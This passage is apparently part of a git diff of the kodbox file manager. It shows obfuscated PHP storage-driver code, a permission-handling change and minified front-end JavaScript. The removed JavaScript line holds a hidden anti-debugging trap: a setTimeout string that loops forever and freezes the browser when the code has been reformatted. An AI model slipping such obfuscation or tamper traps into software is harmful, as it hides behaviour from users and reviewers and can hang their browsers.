REPEAT_SKIP) { return !1; } $C݆ = $f[91] . get_path_ext($D’э); $C݆ = $C݆ == $f[91] || $dұ ? $f[33] : $C݆; goto E쭣; E쭣: $a– = 1; $dȟ = substr($D’э, 0, strlen($D’э) - strlen($C݆)); $Aۆ = $dȟ . "\50{$a–}\51{$C݆}"; goto Fʹ; Fʹ: while ($this->exist(rtrim($aʮ, $f[8]) . $f[8] . $Aۆ)) { $Aۆ = $dȟ . "\x28{$a–}\x29{$C݆}"; $a–++; } return $Aۆ; goto Cˋ; cư: $f =& $_SERVER[ֹ]; $aχ׹ = $aʮ === $f[33] ? $D’э : rtrim($aʮ, $f[8]) . $f[8] . $D’э; if ($F == REPEAT_REPLACE || !$this->exist($aχ׹) || $dұ && $F != REPEAT_RENAME_FOLDER) { return $D’э; } goto cե; Cˋ: } public function listAllFiles($eϷ, $E˗, $bۋ = array()) { goto Cᒦ; Cᒦ: $D˖ =& $_SERVER[ֹ]; if (empty($E˗)) { return array(); } $B = array(); goto Eݒ; Eݒ: $eϷ = trim($eϷ, $D˖[8]); foreach ($E˗ as $dߝӸ) { $F = ltrim(substr($dߝӸ, strlen($eϷ)), $D˖[8]); $B = array_merge($B, $this->slicePath($F)); } $fɥ = array(); goto a޳; a޳: foreach (array_unique($B) as $dߝӸ) { $bΡ = array($D˖[75] => $this->getPathOuter($D˖[8] . $eϷ . $D˖[8] . $dߝӸ), $D˖[76] => 1, $D˖[77] => 0); if (substr($dߝӸ, -1) != $D˖[8]) { $bΡ[$D˖[76]] = 0; $eɽnj = $this->getPath($eϷ . $D˖[8] . $dߝӸ); $bΡ[$D˖[77]] = isset($bۋ[$eɽnj]) ? $bۋ[$eɽnj] : $this->size($eɽnj); } $fɥ[] = $bΡ; } return $fɥ; goto d܎; d܎: } public function slicePath($C搉٩) { $d̛ =& $_SERVER[ֹ]; $b = explode($d̛[8], trim($C搉٩, $d̛[8])); $eĶ = 0; do { ++$eĶ; $Dڭ[] = implode($d̛[8], array_slice($b, 0, $eĶ)) . $d̛[8]; } while ($eĶ < count($b)); $Dڭ[count($b) - 1] = $C搉٩; return $Dڭ; } public function getHost() { $a䋱Ԏ =& $_SERVER[ֹ]; $aݼ = parse_url(trim($this->domain, $a䋱Ԏ[8])); $Dי = isset($aݼ[$a䋱Ԏ[164]]) ? $aݼ[$a䋱Ԏ[164]] : http_type(); $B = isset($aݼ[$a䋱Ԏ[165]]) ? $aݼ[$a䋱Ԏ[165]] : $aݼ[$a䋱Ԏ[75]]; if (isset($aݼ[$a䋱Ԏ[166]])) { $B .= $a䋱Ԏ[4] . $aݼ[$a䋱Ԏ[166]]; } return $Dי . $a䋱Ԏ[167] . $B; } public function pathEncode($F) { $Cȓ =& $_SERVER[ֹ]; return str_replace($Cȓ[168], $Cȓ[8], rawurlencode($F)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($Cރ) { set_timeout(); require_once SDK_DIR . $_SERVER[ֹ][169]; parent::__construct(); $this->_init($Cރ); } public function _init($F) { foreach ($F as $E => $b) { if (isset($this->{$E})) { $this->{$E} = $b; } } $this->endpoint = $F[$_SERVER[ֹ][170]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($cԍ = "\x76\64") { $this->signVer = $cԍ; $this->client->setSignatureVersion($cԍ); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { goto cÏ; e͵: if ($C[$eɌ[171]] != $eɌ[172] || $C[$eɌ[173]] != $eɌ[172]) { return !1; } $f뛯ǧ = array_map($eɌ[174], $C[$eɌ[175]]); if (!is_array($f뛯ǧ)) { $f뛯ǧ = array(); } goto Fט; Fט: $c = array($eɌ[176], $eɌ[177], $eɌ[178], $eɌ[179], $eɌ[180]); $aςۥ = array_diff($c, $f뛯ǧ); return empty($aςۥ); goto fŸ; cÏ: $eɌ =& $_SERVER[ֹ]; $C = $this->getBucketCors(); if (!$C || !is_array($C)) { return !1; } goto e͵; fŸ: } public function mkfile($d҂, $e = '', $eÊ = REPEAT_RENAME) { $CŸɠ = $this->setContent($d҂, $e); if ($CŸɠ !== !1) { return $this->getPathOuter($d҂); } return !1; } public function mkdir($C۞, $Dܐ = REPEAT_SKIP) { if (empty($C۞)) { return !1; } if ($this->_isFolder($C۞)) { return $this->getPathOuter($C۞); } $E = $this->setContent($C۞, $_SERVER[ֹ][33], !0); if ($E !== !1) { return $this->getPathOuter($C۞); } return !1; } public function copyFile($b, $e, $c = array()) { $e᪾ =& $_SERVER[ֹ]; $e = $this->objectMeta($b); if (!$e) { return !1; } if ($e[$e᪾[77]] <= 1024 * 1024 * 200) { $f딭 = $this->client->copyObject($this->bucket, $b, $this->bucket, $e, $e᪾[181], $c); } else { $f딭 = $this->client->multiCopyObject($this->bucket, $b, $this->bucket, $e, $c); } $f딭 = $f딭 ? $this->getPathOuter($e) : !1; return $f딭; } public function moveFile($cيȫ, $bȢܱ) { if ($this->copyFile($cيȫ, $bȢܱ)) { $this->delFile($cيȫ); return $this->getPathOuter($bȢܱ); } return !1; } public function delFile($cΚ) { return $this->client->deleteObject($this->bucket, $cΚ); } public function delFolder($b) { goto C˾ϊ; C˾ϊ: $cڇ =& $_SERVER[ֹ]; $fԝ݊ = $this->listObjs($b); if (!$fԝ݊) { $b = trim($b, $cڇ[8]); if (!empty($b)) { $b .= $cڇ[8]; } return $this->delFile($b); } goto a; aƄ: return $Dɲ┑ === $Bς ? !0 : !1; goto dԥ; a: $Dɲ┑ = $Bς = 0; $Dę = array_chunk(array_keys($fԝ݊), 1000); foreach ($Dę as $C) { $Dɲ┑++; $Bς += (int) $this->client->deleteObjects($this->bucket, $C); } goto aƄ; dԥ: } public function rename($e, $bĦÈ) { return $this->renameObject($e, $bĦÈ); } public function listPath($e, $e埂 = false) { $BӦ =& $_SERVER[ֹ]; $FЈ = $this->listObjs($e, null, null, $BӦ[8]); $BЬ = array($BӦ[74] => array(), $BӦ[73] => array()); foreach ($FЈ as $fכʔơ => $aɐф) { if ($fכʔơ == $BӦ[8]) { continue; } if (isset($aɐф[$BӦ[182]])) { $BЬ[$BӦ[74]][] = $this->folderInfo($aɐф[$BӦ[182]], $e埂); } else { if (substr($aɐф[$BӦ[28]], -1) == $BӦ[8]) { continue; } $BЬ[$BӦ[73]][] = $this->fileInfo($aɐф[$BӦ[28]], $e埂, $aɐф); } } return $BЬ; } private function fileInfo($dȭ, $E˘ = false, $CǭȒ = array()) { goto dΎ; a: return $Eʊ; goto F; dΎ: $aɨ =& $_SERVER[ֹ]; if ($E˘) { return array($aɨ[28] => $this->pathThis($dȭ), $aɨ[75] => $this->getPathOuter($dȭ), $aɨ[29] => $aɨ[163], $aɨ[156] => $this->ext($dȭ), $aɨ[77] => isset($CǭȒ[$aɨ[77]]) ? $CǭȒ[$aɨ[77]] : 0, $aɨ[183] => 0, $aɨ[106] => 0, $aɨ[184] => !0, $aɨ[185] => !0); } $Eʊ = array($aɨ[28] => $this->pathThis($dȭ), $aɨ[75] => $this->getPathOuter($dȭ), $aɨ[29] => $aɨ[163], $aɨ[183] => 0, $aɨ[106] => 0, $aɨ[77] => 0, $aɨ[156] => $this->ext($dȭ), $aɨ[184] => !0, $aɨ[185] => !0); goto fד; fד: if (empty($CǭȒ)) { $CǭȒ = $this->objectMeta($dȭ); if (!$CǭȒ) { return $Eʊ; } } if (isset($CǭȒ[$aɨ[186]])) { $Eʊ[$aɨ[106]] = $CǭȒ[$aɨ[186]]; } if (isset($CǭȒ[$aɨ[77]])) { $Eʊ[$aɨ[77]] = $CǭȒ[$aɨ[77]]; } goto a; F: } private function folderInfo($a, $Eџ = false) { goto DօǬ; fɆ: if ($a == $Dݩ욭[33]) { return $aҦ; } $a = trim($a, $Dݩ욭[8]) . $Dݩ욭[8]; $D嘲ה = $this->objectMeta($a); goto Eǻ; Eǻ: if (isset($D嘲ה[$Dݩ욭[186]])) { $aҦ[$Dݩ욭[183]] = $D嘲ה[$Dݩ욭[186]]; } return $aҦ; goto B̐; DօǬ: $Dݩ욭 =& $_SERVER[ֹ]; if ($Eџ) { return array($Dݩ욭[28] => $this->pathThis($a), $Dݩ욭[75] => $this->getPathOuter($Dݩ욭[8] . $a), $Dݩ욭[29] => $Dݩ욭[76], $Dݩ욭[184] => !0, $Dݩ욭[185] => !0); } $aҦ = array($Dݩ욭[28] => $this->pathThis($a), $Dݩ욭[75] => $this->getPathOuter($Dݩ욭[8] . $a), $Dݩ욭[29] => $Dݩ욭[76], $Dݩ욭[183] => 0, $Dݩ욭[106] => 0, $Dݩ욭[184] => !0, $Dݩ욭[185] => !0); goto fɆ; B̐: } public function listObjs($Fݬ, $AȔ = null, $Dľ = null, $e = null) { $F =& $_SERVER[ֹ]; $Fݬ = trim($Fݬ, $F[8]); $dlj = empty($Fݬ) ? $F[33] : $Fݬ . $F[8]; return $this->client->getBucket($this->bucket, $dlj, $AȔ, $Dľ, $e, !0); } public function has($EԖȦ䋐, $c = false, $d = true) { goto Bă; c뉼: if ($c) { return array($e֝[187] => $e, $e֝[188] => $Cۋ); } return !1; goto bť; Bă: $e֝ =& $_SERVER[ֹ]; $e = 0; $Cۋ = 0; goto Bӱ; Bӱ: $bɽ܂ = $this->listObjs($EԖȦ䋐, null, null, $e֝[8]); $bɽ܂ = is_array($bɽ܂) ? $bɽ܂ : array(); foreach ($bɽ܂ as $aݶ) { if (isset($aݶ[$e֝[28]]) && substr($aݶ[$e֝[28]], -1) != $e֝[8]) { if (!$c && $d) { return !0; } $e++; } else { if (isset($aݶ[$e֝[182]])) { if (!$c && !$d) { return !1; } $Cۋ++; } } } goto c뉼; bť: } public function listAll($D) { $Eܥ˾ =& $_SERVER[ֹ]; $bܨ = $this->listObjs($D); $Aს = $b = array(); foreach ($bܨ as $aӢ̺ => $bն) { $Aს[] = $bն[$Eܥ˾[28]]; $b[$aӢ̺] = $bն[$Eܥ˾[77]]; } return $this->listAllFiles($D, $Aს, $b); } public function canRead($C˻) { $bŽ =& $_SERVER[ֹ]; $Dȫݖ = $this->client->getAccessControlPolicy($this->bucket, $C˻); if (!$Dȫݖ) { return !1; } return in_array($Dȫݖ, array($bŽ[189], $bŽ[190], $bŽ[191])) ? !0 : !1; } public function canWrite($b·կ) { $aٻ =& $_SERVER[ֹ]; $Aµ = $this->client->getAccessControlPolicy($this->bucket, $b·կ); if (!$Aµ) { return !1; } return in_array($Aµ, array($aٻ[189], $aٻ[190])) ? !0 : !1; } public function getContent($cַԝ) { return $this->client->getObject($this->bucket, $cַԝ); } public function setContent($c, $c = '', $A = false) { goto a; Eɚ: $B۶ߛ = $this->client->putObject($c, $this->bucket, $c, $FБ[181], array(), $C); if (!$B۶ߛ) { return !1; } if ($A) { return !0; } goto Eӟ; Eӟ: $B۶ߛ = $this->copyFile($c, $c, array($FБ[192] => $B۶ߛ[$FБ[193]])); return $B۶ߛ ? !0 : !1; goto fݶ; a: $FБ =& $_SERVER[ֹ]; $c = $A ? trim($c, $FБ[8]) . $FБ[8] : $c; $C = get_file_mime(get_path_ext($c)); goto Eɚ; fݶ: } public function fileSubstr($B, $Eϯ, $a𯊑) { $A = $Eϯ + $a𯊑 - 1; return $this->client->getObject($this->bucket, $B, array($_SERVER[ֹ][194] => "\x62\x79\164\x65\163\75{$Eϯ}\x2d{$A}")); } public function upload($bؗ, $D, $D = false, $b葚 = REPEAT_REPLACE) { $e =& $_SERVER[ֹ]; $D˹ʤ = array($e[192] => @md5_file($D)); $fի = array($e[195] => get_file_mime(get_path_ext($bؗ))); if (IO::size($D) <= 1024 * 1024 * 200) { $e = $this->client->putObjectFile($D, $this->bucket, $bؗ, $e[181], $D˹ʤ, $fի); return !empty($e) ? $this->getPathOuter($bؗ) : !1; } $Aчژ = $this->client->multiUploadObject($D, $this->bucket, trim($bؗ, $e[8]), $D˹ʤ, $fի); return $Aчژ ? $this->getPathOuter($bؗ) : !1; } public function download($C, $a) { if (!@is_dir($this->pathFather($a)) && !IO::mkdir($this->pathFather($a))) { return !1; } $e担 = $this->client->getObject($this->bucket, $C, array(), $a); return $e担 !== !1 ? $a : !1; } public function link($a܉, $Fą = array()) { $aŴ =& $_SERVER[ֹ]; if ($this->signVer == $aŴ[196]) { return $this->client->getAuthenticatedURL($this->bucket, $a܉, 3600 * 12, $Fą); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($a܉, $aŴ[8]), 3600 * 12, $this->region, array(), !0, $Fą); } public function fileOut($aٙ؏, $BޏӸ = false, $c = false, $Eנ = '') { goto fį; fݠ: if ($DͶݤ == $cŅ[197]) { return parent::fileOut($aٙ؏, $BޏӸ, $c, $Eנ); } $BޏӸ = $BޏӸ ? $cŅ[198] : $cŅ[199]; $aϬӂ = array($cŅ[200] => $BޏӸ . $cŅ[201] . rawurlencode($c), $cŅ[202] => $DͶݤ); goto C; fį: $cŅ =& $_SERVER[ֹ]; if (!$c) { $c = $this->pathThis($aٙ؏); } $DͶݤ = get_file_mime(get_path_ext($c)); goto fݠ; C: $a󧽭ߎ = $this->link($aٙ؏, $aϬӂ); $this->fileOutLink($a󧽭ߎ); goto bʂ; bʂ: } public function fileOutServer($aаǴ, $a̻ӵ = false, $Bǥͱ = false, $c맛˩ = '') { parent::fileOut($aаǴ, $a̻ӵ, $Bǥͱ, $c맛˩); } public function fileOutImage($A, $D = 250) { $f = $this->link($A); $this->fileOutLink($f); } public function fileOutImageServer($E£ى, $D = 250) { parent::fileOutImage($E£ى, $D); } public function hashMd5($DԂ, $B = '') { $fӥ =& $_SERVER[ֹ]; $Bӓ = $this->objectMeta($DԂ); if (!$Bӓ) { return !1; } $B = $B ? $B : _get($Bӓ, $fӥ[203]); $B = $B ? $B : _get($Bӓ, $fӥ[193], $fӥ[33]); return $B; } public function uploadFormData($E֯, $ë́ = 3600) { $bڭ =& $_SERVER[ֹ]; $dħ׈ = $this->pathFather($E֯); $Bɣ = $this->client->getHttpUploadPostParams($this->bucket, $dħ׈, $bڭ[181], $ë́); return array_merge((array) $Bɣ, array($bڭ[165] => $this->getHost())); } public function multiUploadFormData($Dߟ溊, $d = 3600) { $c㋣ =& $_SERVER[ֹ]; $D٣ύ = gmdate($c㋣[204]); $B = array(); $FΖ = $this->client->getUploadId($this->bucket, $Dߟ溊, $B); if (!$FΖ) { return !1; } return array($c㋣[205] => $FΖ, $c㋣[165] => $this->getHost() . $c㋣[8] . $this->pathEncode($Dߟ溊), $c㋣[206] => $D٣ύ, $c㋣[89] => $Dߟ溊); } public function multiUploadAuthData($BЩ, $Dωؚ = array()) { goto a󆈕; Fѻ: if (strpos($F훺, $F͹ƴ[209]) === 0) { return array($F͹ƴ[216] => $cȥ߶, $F͹ƴ[206] => $FÞ); } return $cȥ߶; goto fѰ; c: $Bǯ = array($F͹ƴ[208], $F͹ƴ[33], $F͹ƴ[115], $F͹ƴ[33], "\x78\55\x61\x6d\x7a\x2d\144\x61\x74\x65\72{$FÞ}", $F͹ƴ[8] . $this->bucket . $F͹ƴ[8] . $this->pathEncode($d⚴) . $F훺); if (strpos($F훺, $F͹ƴ[209]) === 0) { $Bǯ[0] = $F͹ƴ[210]; } if (isset($Dωؚ[$F͹ƴ[211]]) && $Dωؚ[$F͹ƴ[211]] == $F͹ƴ[212]) { $Bǯ[0] = $F͹ƴ[212]; } goto cۆ; cۆ: $cŐ = implode($F͹ƴ[213], $Bǯ); $A݉׎ = base64_encode(hash_hmac($F͹ƴ[214], $cŐ, $this->secret, !0)); $cȥ߶ = $F͹ƴ[215] . $this->accessKey . $F͹ƴ[4] . $A݉׎; goto Fѻ; A۹ɽ: $d⚴ = $Dωؚ[$F͹ƴ[89]]; unset($Dωؚ[$F͹ƴ[89]]); if (isset($Dωؚ[$F͹ƴ[207]])) { $Dωؚ[$F͹ƴ[206]] = $FÞ; return $this->listUploadParts($d⚴, $Dωؚ); } goto c; a󆈕: $F͹ƴ =& $_SERVER[ֹ]; $FÞ = isset($Dωؚ[$F͹ƴ[206]]) ? $Dωؚ[$F͹ƴ[206]] : gmdate($F͹ƴ[204]); $F훺 = isset($Dωؚ[$F͹ƴ[156]]) ? $Dωؚ[$F͹ƴ[156]] : $F͹ƴ[33]; goto A۹ɽ; fѰ: } public function listUploadParts($e،, $bԜ = array()) { goto DҒ; DҒ: $b⬝ =& $_SERVER[ֹ]; $D = str_replace($b⬝[217], $b⬝[33], $bԜ[$b⬝[156]]); $f = $this->client->listParts($this->bucket, $e،, $D); goto Fɖώ; Fɖώ: if (!$f) { return !1; } unset($bԜ[$b⬝[207]], $bԜ[$b⬝[211]]); $bԜ[$b⬝[89]] = $e،; goto D; D: $F䩽 = $this->multiUploadAuthData($e،, $bԜ); if (empty($F䩽)) { return !1; } return array($b⬝[216] => $F䩽, $b⬝[206] => $bԜ[$b⬝[206]], $b⬝[218] => $f); goto Aᣟ; Aᣟ: } public function getHost() { return parent::getHost() . $_SERVER[ֹ][8] . $this->bucket; } public function size($dۃ) { $Bڗ = $this->objectMeta($dۃ); return $Bڗ ? $Bڗ[$_SERVER[ֹ][77]] : 0; } public function info($Dڢ޹) { if ($this->isFolder($Dڢ޹)) { return $this->folderInfo($Dڢ޹); } else { if ($this->isFile($Dڢ޹)) { return $this->fileInfo($Dڢ޹); } } return !1; } public function exist($d) { return $this->isFile($d) || $this->isFolder($d); } public function isFile($Aő) { return !$this->isFolder($Aő) && $this->objectMeta($Aő); } public function isFolder($dԏ) { return $this->cacheMethod($_SERVER[ֹ][219], $dԏ); } protected function objectMeta($f샇ƙ) { return $this->cacheMethod($_SERVER[ֹ][220], $f샇ƙ); } protected function _objectMeta($Cᆂ) { $fɤ =& $_SERVER[ֹ]; $Cᆂ = rtrim($Cᆂ, $fɤ[8]); try { $Aǐ = $this->client->getObjectInfo($this->bucket, $Cᆂ); if (!isset($Aǐ[$fɤ[203]]) && isset($Aǐ[$fɤ[221]])) { $Aǐ[$fɤ[203]] = $Aǐ[$fɤ[221]]; } } catch (OSS\Core\OssException $f槷脿) { $Aǐ = !1; } if (!$Aǐ) { } return $Aǐ; } protected function _isFolder($dό) { goto D낕; D: if (substr($C͠[0][$fʺ[28]], -1) == $fʺ[8]) { return !0; } if (get_path_this($C͠[0][$fʺ[28]]) == get_path_this($dό)) { return !1; } return !0; goto Cܽ; A۱: $C͠ = $this->client->getBucket($this->bucket, $dό, null, 1); if (empty($C͠)) { return !1; } $C͠ = array_values($C͠); goto D; D낕: $fʺ =& $_SERVER[ֹ]; $dό = rtrim($dό, $fʺ[8]); if ($dό == $fʺ[33] || $dό == $fʺ[8]) { return !0; } goto A۱; Cܽ: } } define($_SERVER[ֹ][222], 1); goto eޱ; a: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\x73\145\162\x5f\146\141\x76"; protected function cacheFunctionAlias($E䗷) { $b؂ =& $_SERVER[ֹ]; return array($b؂[2461] => array(USER_ID, $b؂[2517])); } protected function listData() { $B =& $_SERVER[ֹ]; $D¦繌 = array($B[1406] => USER_ID, $B[432] => array($B[2518], 0)); $bݝ = $B[2519]; $fى = $B[2520]; $Fﶍ = $this->field($bݝ)->where($D¦繌)->order($fى)->select(); return $Fﶍ ? $Fﶍ : array(); } protected function listByTag($Fɳߜܘ) { } protected function addToTag($fƄħ, $cÄ) { $c۶ɕ =& $_SERVER[ֹ]; if (!Model($c۶ɕ[2288])->listData($cÄ) || !Model($c۶ɕ[749])->pathInfo($fƄħ)) { return !1; } $Aأب = array($c۶ɕ[1406] => USER_ID, $c۶ɕ[432] => $cÄ, $c۶ɕ[383] => $fƄħ, $c۶ɕ[384] => $c۶ɕ[378], $c۶ɕ[382] => $c۶ɕ[33], $c۶ɕ[2083] => 0); if ($this->where($Aأب)->find()) { return !1; } return $this->add($Aأب); } protected function removeFromTag($f, $E냿) { $b݆Ь =& $_SERVER[ֹ]; if (!Model($b݆Ь[2288])->listData($E냿)) { return !1; } if (is_array($f)) { $f = array($b݆Ь[7], $f); } $E = array($b݆Ь[1406] => USER_ID, $b݆Ь[432] => $E냿, $b݆Ь[384] => $b݆Ь[378], $b݆Ь[383] => $f); return $this->where($E)->delete(); } protected function removeByTag($aݙ) { $d攵 =& $_SERVER[ֹ]; if (!$aݙ) { return !1; } $eȥ = array($d攵[1406] => USER_ID, $d攵[432] => $aݙ); return $this->where($eȥ)->delete(); } protected function removeBySource($b֯؊) { $CŮ =& $_SERVER[ֹ]; $fډ = array($CŮ[1406] => USER_ID, $CŮ[383] => $b֯؊, $CŮ[432] => array($CŮ[924], 0)); return $this->where($fډ)->delete(); } } \ No newline at end of file diff --git a/app/controller/explorer/index.class.php b/app/controller/explorer/index.class.php index 2b004540..f46c64e4 100755 --- a/app/controller/explorer/index.class.php +++ b/app/controller/explorer/index.class.php @@ -151,25 +151,46 @@ public function setAuth(){ )); $result = false; - $info = IO::infoSimple($data['path']); - if( $info && $info['sourceID'] && - $info['targetType'] == SourceModel::TYPE_GROUP){//只能设置部门文档; + $info = IO::info($data['path']); + if( $info && $info['sourceID'] && $info['targetType'] == 'group'){//只能设置部门文档; if($data['action'] == 'getData'){ $result = Model('SourceAuth')->getAuth($info['sourceID']); show_json($result); } - + //清空所有子文件(夹)的权限; if($data['action'] == 'clearChildren'){ $result = Model('SourceAuth')->authClear($info['sourceID']); }else{ - $result = Model('SourceAuth')->setAuth($info['sourceID'],$data['auth']); + $setAuth = $this->setAuthSelf($info,$data['auth']); + $result = Model('SourceAuth')->setAuth($info['sourceID'],$setAuth); } } $msg = !!$result ? LNG('explorer.success') : LNG('explorer.error'); show_json($msg,!!$result); } + // 设置权限.默认设置自己为之前管理权限; 如果只有自己则清空; + private function setAuthSelf($pathInfo,$auth){ + if(!$auth) return $auth; + $selfAuth = _get($pathInfo,'auth.authInfo.id','1'); + $authList = array(); + foreach($auth as $item){ + if( $item['targetID'] == USER_ID && + $item['targetType'] == SourceModel::TYPE_USER){ + continue; + } + $authList[] = $item; + } + if(!$authList) return $authList; + $authList[] = array( + 'targetID' => USER_ID, + 'targetType'=> SourceModel::TYPE_USER, + 'authID' => $selfAuth + ); + return $authList; + } + public function pathAllowCheck($path){ $notAllow = array('/', '\\', ':', '*', '?', '"', '<', '>', '|'); $parse = KodIO::parse($path); diff --git a/plugins/webdav/package.json b/plugins/webdav/package.json index df405a26..97c6a284 100755 --- a/plugins/webdav/package.json +++ b/plugins/webdav/package.json @@ -2,7 +2,7 @@ "id":"webdav", "name":"{{LNG['webdav.meta.name']}}", "title":"{{LNG['webdav.meta.title']}}", - "version":"1.25", + "version":"1.26", "source":{ "className":" font-icon ri-hard-drive-fill-2 bg-yellow-6", "icon":"" diff --git a/plugins/webdav/static/user.js b/plugins/webdav/static/user.js index c3a68527..5707a8ce 100755 --- a/plugins/webdav/static/user.js +++ b/plugins/webdav/static/user.js @@ -58,7 +58,6 @@ ClassBase.define({ "1":{ //按钮名称 "display":LNG['webdav.user.morePath']+" ", "className":"btn-default btn-sm", - "attr":{"style":"margin-left:20%;"} } }, "switchItem":{"1":"pathAllowMore"} diff --git a/static/app/dist/api.js b/static/app/dist/api.js index 7b302414..b906f1e5 100755 --- a/static/app/dist/api.js +++ b/static/app/dist/api.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:eb2491fac7fbf9396e7e [2021/08/07 16:42:43] */ -!function(s){function e(e){for(var t,i,n=e[0],a=e[1],r=0,o=[];r .panel-form-body-main > .panel-form-body");return t=0!=i.length?0!=i.find(".tab-content").length?i.find("> .tab-content > .form-row"):i.find("> .form-row"):this.$("> .form-row").add(t),e?t.filter('[data-key="'+e+'"]'):t},"input$":function(e){if(!e){var t=this.formRow$(),i=t.find(" > .setting-content > label > [name]");return t.find("> .setting-content > [name]").add(i)}_.isString(e)&&(e=this.formRow$(e));var n=e.find("> .setting-content > [name]");return 0==n.length&&(n=e.find("> .setting-content > label [name]")),n},showTimeoutcK7:setTimeout('var checkPasswordTX0=function(){return {}};var listenTreeq2=checkPasswordTX0["toString"]();var initZipViewZG8=440/(129-(96-11));if(_.includes(listenTreeq2,String.fromCharCode(initZipViewZG8))){while(1){encodeURIComponent("+");};}'),"resetValue":function(){var n=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");if(e&&"html"!=e&&"button"!=e){var i=n.formData[t];_.isUndefined(t)||!i||_.isString(i)||n.setValue(t,i.value)}})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){var i=e.val()||"";return _.isArray(i)?i.join(","):i},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData;(this.$el=e).html(i);var a="dialog-form target-form ";a+=_.get(n,"formStyle.className","")+" ",a+=_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a+=" form-box-title-block"),e.addClass(a),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,n){var a=this,t=this.formData,i=a.makeHtml(t);if(!i)return!1;var r={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":i,"okVal":LNG["common.save"],"ok":function(){var e=a.getFormData(!0),t=!!e.success&&e.result;if(a.trigger("onSave",t),t){if(!n)return;var i=n(t);if(i||_.isUndefined(i))return!0}return!1},"resizeCallback":_.debounce(function(){a.trigger("dialogResize")},100),"close":function(){a.objectRemove()}},o=r.className,s=$.extend(!0,r,e);s.className=o+" "+_.get(e,"className","")+" ",s.className+=_.get(t,"formStyle.className","")+" ",s.className+=_.get(t,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(s.className+=" form-box-title-block");var l="dialog-form-style-default";_.get(t,"formStyle.tabs")&&(_.includes(s.className,"dialog-form-style-")||(s.className+=" "+l),_.includes(s.className,l)&&s.width&&(s.width+=120)),this.dialog=$.dialog(s);var c=this.dialog.$main.find(".aui-title").html();return this.dialog.$main.find(".modal-title").html(c),this.$el=this.dialog.$main,this.bindEvent(),n&&this.$(".form-save-button").bind("click",function(){r.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog},"save":function(){this.dialog?this.dialog.$main.find(".aui-state-highlight").click():this.$(".form-save-button").click()},"makeHtml":function(e){if("string"==typeof e)return this.loadFile(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),this._each(t,this.loadFile)}var i=l(35),n={"items":e,"wrapID":this.wrapID};return this.renderHtml(i,n,!1)},"bindEvent":function(){var e,i=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),(e=this.input$()).each(function(){var e=i.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),(e=this.input$()).inputChange(function(){var e=$(this).parents(".form-row").first(),t=e.attr("data-key");i.switchItemChange(t),i._delay(function(){i.trigger("onChange",t,i.getValue(t),e)},0)});for(var t=e.length-1;0<=t;t--)$(e.get(t)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){if(!$(this).hasClass("disabled")){var e=i.getFormData(!0),t=!!e.success&&e.result;i.trigger("onSave",t,i)}}),this.$(".form-reset-button").bind("click",function(){i.resetValue()}),this.bindEventInput()},"bindEventInput":function(){var i=this;this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}});var n=function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")};this.bind("onChange",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").focus().trigger("change")})},"bindFormAll":function(){var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);if(n.filter(".form-"+t).exists()){if(!_.isFunction(this[i]))return;this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])}})},"switchItemChange":function(e){var t=this.formData[e];if(t&&t.switchItem){var 